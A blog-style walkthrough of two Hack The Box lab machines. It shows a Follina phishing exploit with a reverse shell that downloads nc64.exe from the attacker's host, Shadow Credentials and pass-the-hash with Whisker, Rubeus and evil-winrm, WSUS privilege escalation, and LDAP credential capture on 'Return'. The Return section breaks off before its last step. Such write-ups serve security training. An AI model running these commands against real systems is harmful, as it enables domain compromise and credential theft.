htb-outdated-private

Summary

This machine was initially published with some unintended ways to root (i.e zerologon), and later those had been patched. The intended PE exploit is via WSUS.

This machine features several fairly new exploits such as follina, wsus etc. But in general, it’s also a bit unstable. So, exploit with patience.

Scanning

┌──(venv)─(puck㉿kali)-[~/htb/outdated]
└─$ nmap -Pn -A 10.10.11.175 -oN ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 20:55 CEST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 6.47% done; ETC: 20:56 (0:01:12 remaining)
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 20:56 (0:00:03 remaining)
Nmap scan report for 10.10.11.175
Host is up (0.10s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-09 18:56:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-07-09T18:57:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-07-09T18:44:29
|_Not valid after: 2024-07-08T18:44:29
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-07-09T18:57:32+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-07-09T18:44:29
|_Not valid after: 2024-07-08T18:44:29
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-07-09T18:57:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-07-09T18:44:29
|_Not valid after: 2024-07-08T18:44:29
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-07-09T18:57:32+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-07-09T18:44:29
|_Not valid after: 2024-07-08T18:44:29
Service Info: Hosts: mail.outdated.htb, DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2023-07-09T18:56:57
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.09 seconds

┌──(venv)─(puck㉿kali)-[~/htb/outdated]

Enum

From the above, the target might be another exercise on AD, ldap, kerberos. Let’s find some more info.

> enum4linux outdated.htb
Domain Name: OUTDATED
Domain Sid: S-1-5-21-4089647348-67660539-4016542185

> smbclient -N -L outdated.htb

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Shares          Disk      
SYSVOL          Disk      Logon server share 
UpdateServicesPackages Disk      A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
WsusContent     Disk      A network share to be used by Local Publishing to place published content on this WSUS system.
WSUSTemp        Disk      A network share used by Local Publishing from a Remote WSUS Console Instance.

There is a Shares folder. Connecting to it, we can find more info.

> smbclient -N \\\\outdated.htb\\Shares
smb: \> ls
  .                                   D        0  Mon Jun 20 11:01:33 2022
  ..                                  D        0  Mon Jun 20 11:01:33 2022
  NOC_Reminder.pdf                   AR   106977  Mon Jun 20 11:00:32 2022

                9116415 blocks of size 4096. 1440211 blocks available
smb: \> get NOC_Reminder.pdf
getting file \NOC_Reminder.pdf of size 106977 as NOC_Reminder.pdf (33.8 KiloBytes/sec) (average 33.8 KiloBytes/sec)
.

User: btables

We found a doc NOC_Reminder.pdf. Reading the content, we learnt that there are unpatched vulnerabilities and there is a valid email address at itsupport@outdated.htb, who checks email for links regularly.

Also, we learnt that there are some vulnerabilities unpatched, and one of them is exploitable via email: CVE-2022-30190

CVE-2022-30190 is also known as Follina, which is a relatively recent exploit on MS word/rtf docs, in which you can utilise a rarely used feature called Microsoft Support Diagnostics Tool (MSDT) that downloads malicious scripts via an embedded link. For more detail, check here: https://logrhythm.com/blog/detecting-follina-cve-2022-30190-microsoft-office-zero-day-exploit/

To exploit this, i used this exploit: https://github.com/JohnHammond/msdt-follina

Note that there are some changes needed to run this exploit

# change line 111 to the following
command = f"""Invoke-WebRequest http://<your-ip>/nc64.exe -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe <your-ip> {args.reverse}"""

# run the exploit
# you can either use the built-in method to setup a listener, or comment the code at line 154-158 and run your own nc listener
> python3 follina.py --interface tun0 --port 80 --reverse 4444

We also need to send an email to the IT account, to do so, i used a tool called swaks

> swaks --to itsupport@outdated.htb --from meow@meow --server mail.outdated.htb --body "http://<your-ip>/"

Wait for a while (the machine was also found to be unstable, so you might need multiple attempts), and you will receive a reverse shell of the user btables. (note that the mail checking part appears to be unstable, if no callback received after multiple tries, reset your machine and try again)

User: sflowers

Now, we can collect AD information as btables, which is a domain user.

Upload SharpBound.exe to the machine and start collecting domain info.

# download SharpHound to the target
> certutil.exe -urlcache -f http://10.10.16.15:8888/SharpHound.exe SharpHound.exe

# run SharpHound
> SharpHound.exe -c All --zipfilename output.zip

# send the result back
> nc.exe 10.10.16.15 5555 < output.zip

Analyse the output finds that btables belongs to the group itstaff, and itstaff has the privilege to AddKeyCredentialLink to the user sflowers, who has psremote access to the DC.

Shortest Paths to Unconstrained Delegation Systems

To get user sflowers, we need to utilise a technique called ShadowCredentials, for more detail, refer to this: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials

Basically, we can add new properties to the user sflowers, so, we can add a new property as a valid credential for the user sflowers to authenticate, and we can then use the new credential we created to pull the TGT of sflowers, which we can use for persistent access as sflowers.

To do so, we need some windows exploit binaries, which can be downloaded from here: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Note that Whisker needs to be self compiled or decompressed from here: https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries

# upload binaries
> certutil.exe -urlcache -f http://10.10.16.15:8888/Whisker.exe Whisker.exe
> certutil.exe -urlcache -f http://10.10.16.15:8888/Rubeus.exe Rubeus.exe

# run whisker to add a new property as a new credential for sflowers
> Whisker.exe add /target:sflowers

[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password EeiO2gCCHgK5oiE4
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID a9b5f7d0-02aa-4059-9a13-8b1adc5555ff
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

At the end of whisker, it will generate a Rubeus command to pull the TGT of sflowers

> Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=sflowers 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'outdated.htb\sflowers'
[*] Using domain controller: 172.16.20.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

  <base64-cert>

  ServiceName              :  krbtgt/outdated.htb
  ServiceRealm             :  OUTDATED.HTB
  UserName                 :  sflowers
  UserRealm                :  OUTDATED.HTB
  StartTime                :  8/15/2022 8:14:44 AM
  EndTime                  :  8/15/2022 6:14:44 PM
  RenewTill                :  8/22/2022 8:14:44 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  SttuGPI9lPahkYurkK8WUA==
  ASREP (key)              :  C05C572660D227E2469ED5A20B141693

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 1FCDB1F6015DCB318CC77BB2BDA14DB5

Note the NTLM : 1FCDB1F6015DCB318CC77BB2BDA14DB5, this can be used as the ntlm hash for the user sflowers.

Now, we can PSRemote into the target as sflowers using the ntlm hash we obtained via shadow credential

> evil-winrm -i outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

PE: WSUS

Perform enum using winpeas, we found that there is a wsus server configured that is using non-https.

  [+] Checking WSUS
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
    WSUS is using http: http://wsus.outdated.htb:8530
    [i] You can test https://github.com/pimps/wsuxploit to escalate privileges
    But UseWUServer is equals to , so it may work or not

We continue checking for several registry values

> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    http://wsus.outdated.htb:8530
> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
    UseWUServer    REG_DWORD    0x1

A non-https wsus server and UseWUServer value is 1, the machine is vulnerable to wsus attack.

i’m not a big fan of powershell, so i generated a reverse shell for easier operation (evil-winrm is also slower)

> msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.15 LPORT=4444 -f exe > payload.exe

To exploit the vulnerability, use a tool called SharpWSUS, which will create an update and approve it for deployment to a machine, i.e dc.outdated.htb

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#wsus-deployment

The SharpWSUS tool doesn’t come pre-compiled, so, you either have to compile it by yourself or convert it from this repo (i used this method): https://github.com/S3cur3Th1sSh1t/PowerSharpPack

This repo makes SharpWSUS available via powershell, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpWSUS.ps1. It is actually just gzip + base64 encode the pre-compiled binary. So, what you need to do is to grab the base64 string in the file, base decode it and then gzip decompress it to get the SharpWSUS.exe binary.

> cat sharpwsus_b64 | base64 -d > sharpwsus.gz
> gzip -d sharpwsus.gz

Upload this binary to the target and create a new update

> SharpWSUS.exe create /payload:"C:\Users\sflowers\Desktop\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c \"net localgroup administrators sflowers /add\"" /title:"meowmeow"

Several commands will be generated to show you how to proceed next.

Approve the update

> SharpWSUS.exe approve /updateid:0be19bc9-b3db-4186-915d-622e9789b272 /computername:dc.outdated.htb /groupname:"meowgroup"

Check the install status

> SharpWSUS.exe check /updateid:0be19bc9-b3db-4186-915d-622e9789b272 /computername:dc.outdated.htb

Once the update is installed, logout the session and re-login, then your sflowers account is added to the local admin group.

 

.

 
┌──(puck㉿kali)-[~/htb/outdated]
└─$ python /opt/pywhisker/pywhisker.py --action add -d outdated.htb -u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175 -t sflowers --use-ldaps
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 2ba9b002-085d-600d-3128-c4abbb894f7e
[*] Updating the msDS-KeyCredentialLink attribute of sflowers
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: Z6Q8TRS7.pfx
[*] Must be used with password: 4rn5JjAjZvrI91hlejRQ
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

.

┌──(puck㉿kali)-[~/htb/outdated]
└─$ python /opt/PKINITtools/gettgtpkinit.py -cert-pfx Z6Q8TRS7.pfx -pfx-pass 4rn5JjAjZvrI91hlejRQ outdated.htb/sflowers sflowers.ccache -dc-ip 10.10.11.175
2023-07-09 23:52:27,270 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-07-09 23:52:27,285 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2023-07-09 23:52:37,612 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2023-07-09 23:52:37,612 minikerberos INFO a35e853d5ca954ae4b8d0f03becfafbe091c4e4162fafc4ba3aa223d2f2a6732
INFO:minikerberos:a35e853d5ca954ae4b8d0f03becfafbe091c4e4162fafc4ba3aa223d2f2a6732
2023-07-09 23:52:37,617 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file

┌──(puck㉿kali)-[~/htb/outdated]
└─$ ls
20230709140249_BloodHound.zip follina.py msdt.html nc64.exe ports.nmap SharpHound.exe Z6Q8TRS7.pfx
doc HiveNightmare.exe msdt.py Outdated.pdf sflowers.ccache SharpHound.ps1

┌──(puck㉿kali)-[~/htb/outdated]

.

Shadow credential attack

> certutil.exe -urlcache -f http://<ip>:8888/Whisker.exe Whisker.exe
> certutil.exe -urlcache -f http://<ip>:8888/Rubeus.exe Rubeus.exe
> Whisker.exe add /target:sflowers
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password EeiO2gCCHgK5oiE4
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID a9b5f7d0-02aa-4059-9a13-8b1adc5555ff
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

> Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=sflowers 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'outdated.htb\sflowers'
[*] Using domain controller: 172.16.20.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

  <base64-cert>

  ServiceName              :  krbtgt/outdated.htb
  ServiceRealm             :  OUTDATED.HTB
  UserName                 :  sflowers
  UserRealm                :  OUTDATED.HTB
  StartTime                :  8/15/2022 8:14:44 AM
  EndTime                  :  8/15/2022 6:14:44 PM
  RenewTill                :  8/22/2022 8:14:44 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  SttuGPI9lPahkYurkK8WUA==
  ASREP (key)              :  C05C572660D227E2469ED5A20B141693

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 1FCDB1F6015DCB318CC77BB2BDA14DB5

foothold: sflowers

.

┌──(puck㉿kali)-[~/htb/outdated]
└─$ evil-winrm -i outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sflowers\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> iwr http://10.10.14.7/SharpHound.exe -outfile s.exe
*Evil-WinRM* PS C:\programdata> . ./s.exe -C all
2023-07-09T14:01:53.4559681-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2023-07-09T14:01:54.1345475-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-09T14:01:54.1591261-07:00|INFORMATION|Initializing SharpHound at 2:01 PM on 7/9/2023
2023-07-09T14:01:54.7605649-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for outdated.htb : DC.outdated.htb
2023-07-09T14:01:54.7840994-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-09T14:01:55.5809809-07:00|INFORMATION|Beginning LDAP search for outdated.htb
2023-07-09T14:01:55.7997333-07:00|INFORMATION|Producer has finished, closing LDAP channel
2023-07-09T14:01:55.7997333-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-07-09T14:02:25.9773019-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2023-07-09T14:02:51.1186693-07:00|INFORMATION|Consumers finished, closing output channel
2023-07-09T14:02:51.1655491-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-07-09T14:02:51.7592929-07:00|INFORMATION|Status: 96 objects finished (+96 1.714286)/s -- Using 43 MB RAM
2023-07-09T14:02:51.7592929-07:00|INFORMATION|Enumeration finished in 00:00:56.1919939
2023-07-09T14:02:51.8530394-07:00|INFORMATION|Saving cache with stats: 55 ID to type mappings.
55 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-07-09T14:02:51.8686712-07:00|INFORMATION|SharpHound Enumeration Completed at 2:02 PM on 7/9/2023! Happy Graphing!
*Evil-WinRM* PS C:\programdata>

.

┌──(puck㉿kali)-[~/htb/outdated]
└─$ export KRB5CCNAME=sflowers.ccache

┌──(puck㉿kali)-[~/htb/outdated]
└─$ python /opt/PKINITtools/getnthash.py outdated.htb/sflowers -key a35e853d5ca954ae4b8d0f03becfafbe091c4e4162fafc4ba3aa223d2f2a6732

Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
1fcdb1f6015dcb318cc77bb2bda14db5

┌──(puck㉿kali)-[~/htb/outdated]
└─$
┌──(puck㉿kali)-[~/htb/outdated]
└─$ evil-winrm -u sflowers -i outdated.htb -H 1fcdb1f6015dcb318cc77bb2bda14db5


Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sflowers\Documents>

.

 

 

 

Unintended PE

In the first day of the release, there was an unintended exploit using zerologon, where secretsdump can be used to dump all hashes. But very quickly, this was patched.

rooted

meow~

htb-return-nl

Recon

┌─[puck@parrot-lt]─[~/htb/return]
└──╼ $rustscan 10.10.11.108
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/puck/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.108:53
Open 10.10.11.108:80
Open 10.10.11.108:88
Open 10.10.11.108:135
Open 10.10.11.108:139
Open 10.10.11.108:389
Open 10.10.11.108:445
Open 10.10.11.108:464
Open 10.10.11.108:593
Open 10.10.11.108:636
Open 10.10.11.108:3268
Open 10.10.11.108:3269
Open 10.10.11.108:5985
Open 10.10.11.108:9389
Open 10.10.11.108:47001
Open 10.10.11.108:49665
Open 10.10.11.108:49664
Open 10.10.11.108:49666
Open 10.10.11.108:49668
Open 10.10.11.108:49672
Open 10.10.11.108:49676
Open 10.10.11.108:49677
Open 10.10.11.108:49681
Open 10.10.11.108:49684
Open 10.10.11.108:49696
Open 10.10.11.108:60281
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49665,49664,49666,49668,49672,49676,49677,49681,49684,49696,60281 10.10.11.108


This looks like a Windows host with a lot of the ports I would expect on a Domain Controller (53, 88, 135, 139, 445, 389, etc). WinRM (5985) is open, which is something I’ll check if I find creds.

Based on the IIS version, this host is likely Windows 10+ or Server 2016+.

SMB – TCP 445

crackmapexec shows that the hostname os PRINTER.return.local, and I need auth to get any additional information from SMB:

┌─[puck@parrot-lt]─[~/htb/return]
└──╼ $docker run byt3bl33d3r/crackmapexec smb 10.10.11.108 --shares 
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
/usr/local/lib/python3.8/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn(
┌─[puck@parrot-lt]─[~/htb/return]

.

Website – TCP 80

Site

The site is the “HTB Printer Admin Panel”:

 

“Settings” leads to /settings.php, which presents a form:

 

Tech Stack

Everything points to this site being written in PHP, including the page extensions and the response headers:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13
Date: Tue, 03 May 2022 19:00:39 GMT
Connection: close
Content-Length: 28274

 

Shell as svc-printer

LDAP Credentials

In Page [Fail]

My first thought on seeing the settings.php page is that it’s populating the “Password” field for me.

 

This could be a case where the actual password is being populated into this field, and it’s just being displayed as *. But looking in Firefox dev tools, it’s actually pre-filling that field with all *, not the password:

 

Request

When I submit this form, it sends a POST to /settings.php. The POST body only has one argument:

ip=printer.return.local

The other three fields in the form are not even sent. If the page does anything with this input, the user can only change the host (or “ip”), and not the port, username, or password.

Watch Request

I’ll change the hostname to my tun0 IP, and start nc listening on port 389. I’ll also start Wireshark. On clicking “Update”, there’s a connection at nc:

puck@parrot-os$ nc -lnvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.108 60662
0*`%return\svc-printer
                      1edFg43012!!

It’s probably clear from just that what the username and password that it’s trying to authenticate, but Wireshark breaks it out more nicely:

 

It’s an LDAP bindRequest, with the username return\svc-printer and the simple authentication (password) of “1edFg43012!!”.

WinRM

Test Creds

The obvious next step is to look at LDAP, but before that, I’ll check and see if these creds happen to give more direct access. They work for SMB:

┌─[✗]─[puck@parrot-lt]─[~/htb/return]
└──╼ $docker run byt3bl33d3r/crackmapexec smb 10.10.11.108 --shares -u svc-printer -p '1edFg43012!!'
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!! 
SMB 10.10.11.108 445 PRINTER [+] Enumerated shares
SMB 10.10.11.108 445 PRINTER Share Permissions Remark
SMB 10.10.11.108 445 PRINTER ----- ----------- ------
SMB 10.10.11.108 445 PRINTER ADMIN$ READ Remote Admin
SMB 10.10.11.108 445 PRINTER C$ READ,WRITE Default share
SMB 10.10.11.108 445 PRINTER IPC$ READ Remote IPC
SMB 10.10.11.108 445 PRINTER NETLOGON READ Logon server share 
SMB 10.10.11.108 445 PRINTER SYSVOL READ Logon server share 
/usr/local/lib/python3.8/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn(
┌─[puck@parrot-lt]─[~/htb/return]

.

Most interestingly, they also work for WinRM:

┌─[puck@parrot-lt]─[~/htb/return]
└──╼ $docker run byt3bl33d3r/crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.11.108 5985 PRINTER [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.10.11.108 5985 PRINTER [*] http://10.10.11.108:5985/wsman
WINRM 10.10.11.108 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
/usr/local/lib/python3.8/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn(
┌─[puck@parrot-lt]─[~/htb/return]

.

Evil-WinRM

I’ll use Evil-WinRM to connect and get a shell:

gem install evil-winrm
evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'

Shell as SYSTEM

Enumeration

Privileges

This account has a few interesting privileges:

*Evil-WinRM* PS C:\Users\svc-printer\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

Groups

This user is also in several groups:

*Evil-WinRM* PS C:\Users\svc-printer\desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

There may be others of interest, but Server Operators jumps out immediately. This group can do a lot of things:

A built-in group that exists only on domain controllers. By default, the group has no members. Server Operators can log on to a server interactively; create and delete network shares; start and stop services; back up and restore files; format the hard disk of the computer; and shut down the computer. Default User Rights: Allow log on locally: SeInteractiveLogonRight Back up files and directories: SeBackupPrivilege Change the system time: SeSystemTimePrivilege Change the time zone: SeTimeZonePrivilege Force shutdown from a remote system: SeRemoteShutdownPrivilege Restore files and directories SeRestorePrivilege Shut down the system: SeShutdownPrivilege

Malicious Service

Reverse Shell

This user can modify, start, and stop services, so I’ll abuse this by having it run nc64.exe to give a reverse shell.

I’ll upload nc64.exe to Return:

